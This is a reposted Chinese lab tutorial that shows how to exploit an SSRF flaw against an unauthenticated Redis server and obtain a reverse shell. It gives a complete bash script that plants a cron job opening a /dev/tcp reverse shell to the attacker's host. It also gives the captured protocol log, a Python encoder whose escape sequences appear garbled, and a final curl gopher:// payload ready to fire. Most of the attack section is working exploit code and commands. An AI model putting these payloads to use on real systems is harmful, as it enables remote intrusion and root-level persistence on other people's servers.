SSRF漏洞利用之Redis大神赐予shell

摘要:
如果前三个字符为+OK,则丢弃此行的字符串,表示返回的字符串。
 
 
0x00实验环境

1、centos靶机(IP为:192.168.11.205,桥接模式)

2、kali黑客攻击主机(IP为:192.168.172.129,NAT模式)

0x01实验原理

 这段payload的作用我们先说明一下,其作用是在靶机的/var/spool/cron临时目录下,利用ssrf漏洞写入黑客的redis数据库的操作,这样,黑客可以通过自己写入的redis数据库直接运行后获取靶机的shell

0x02实验步骤

(1)在centos靶机内部部署:

 注意:这里面的192.168.172.129/7999是我们kali的主机IP

echo -e " */2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1 "|/root/redis-2.8.3/src/redis-cli -h $1 -p $2 -x set 1
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dir /var/spool/cron/
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dbfilename root
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 save
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 quit

其中

$1表示含有redis漏洞的主机IP(centos)

$2表示redis的开启的端口或者被转发之后的端口

将上述代码保存为bash.sh(注意修改redis的路径及IP

 

SSRF漏洞利用之Redis大神赐予shell第1张

(2)使用socat进行端口转发(注:如果没有安装socat的,请使用如下的命令行进行安装)

yum install socat

 SSRF漏洞利用之Redis大神赐予shell第2张

(3)使用socat进行redis的端口转发,这里需要保证你的centos的redis端口是开启的

SSRF漏洞利用之Redis大神赐予shell第3张

 (4)将产生的命令行复制出来,并使用python脚本进行过滤各种尖括号等的操作,这是为了让机器更好的识别,并保存为log.txt

过滤方法

  • 如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。

  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。

  • 字符串替换成%0d%0a

  • 空白行替换为%0a

2019/05/17 12:05:20.576789 length=89 from=0 to=88
*3
$3
set
$1
1
$62


*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1



< 2019/05/17 12:05:20.577165 length=5 from=0 to=4
+OK
> 2019/05/17 12:05:20.581392 length=57 from=0 to=56
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
< 2019/05/17 12:05:20.581966 length=5 from=0 to=4
+OK
> 2019/05/17 12:05:20.587385 length=52 from=0 to=51
*4
$6
config
$3
set
$10
dbfilename
$4
root
< 2019/05/17 12:05:20.587804 length=5 from=0 to=4
+OK
> 2019/05/17 12:05:20.591422 length=14 from=0 to=13
*1
$4
save
< 2019/05/17 12:05:20.593302 length=5 from=0 to=4
+OK
> 2019/05/17 12:05:20.597224 length=14 from=0 to=13
*1
$4
quit
< 2019/05/17 12:05:20.597551 length=5 from=0 to=4
+OK

python脚本为(建议使用python2的环境):

#coding: utf-8
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为
        elif line[-3:-1] == r'
':
            # 如果该行只有
,将
替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'
', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('
', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == 'x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('
', '')
            exp = exp + line
print exp

 

SSRF漏洞利用之Redis大神赐予shell第4张

得到如下结果:

88*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

 (5)使用CURL构造完整的请求

curl -v 'gopher://192.168.11.205:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

 待续。。。。。

免责声明:文章转载自《SSRF漏洞利用之Redis大神赐予shell》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇简单dp安装CDH5 hadoop2.3.0 NodeManager 没有启动下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

C#操作redis

Redis 是一个非关系型高性能的key-value数据库。在部分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。 redis提供五种数据类型:string,hash,list,set及zset(sorted se...

在ASP.NET WebAPI 中使用缓存【Redis】

初步看了下CacheCow与OutputCache,感觉还是CacheOutput比较符合自己的要求,使用也很简单 PM>Install-Package Strathweb.CacheOutput.WebApi2 基础使用 CacheOutput特性 [Route("get")] [CacheOutput(Cli...

ADB命令

目录 adb --help:查看帮助手册 adb devices:检测连接到电脑的安卓设备 adb version:查看adb版本 adb start-server:开启adb服务器 adb kill-server:关闭adb服务器 adb shell:登录设备shell adb logcat:打印日志 adb connect/disconn...

【原创】redis单点大热key叠加pipeline导致服务雪崩

背景问题: 线上系统自某一天,业务慢慢到高峰,首页会逐步卡顿,高峰时甚至异常白屏,且蔓延到其它界面。 原因: 经过焦灼的排查,定位到: 原因是app客户端首页有一个业务组件是基于redis的单点list结构设计的功能,代码逻辑是lrange 0 -1,即拿出list所有数据到应用层, 然后在应用层随机取4个返回客户端展示。 这个组件刚上的时候list里只有...

最有价值的Linux资料大全

来源:http://51ctoblog.blog.51cto.com/26414/929322#559183-qzone-1-70272-9032e4e5e88102269a9addf0a99ae97c 20年前的夏天,Linux之父 你牛死.脱袜子 (Linus Torvalds) 勇敢的向全世界共享他编写的操作系统,从此这个诞生于一个偶然机会的Linu...

django-实现登录短信验证

功能演示 核心任务 前端功能: 点击按钮Ajax调用发送验证码功能 输完验证码后Ajax调用验证功能 后端功能: 功能1:发送验证码功能 功能2:验证码检查 后台核心逻辑(不需要手写) 功能3:发短信 功能4:生成短信验证码(随机生成6位数字) 集成Redis 使用Redis代替session缓存, 存储数据! Redis集成到Djang...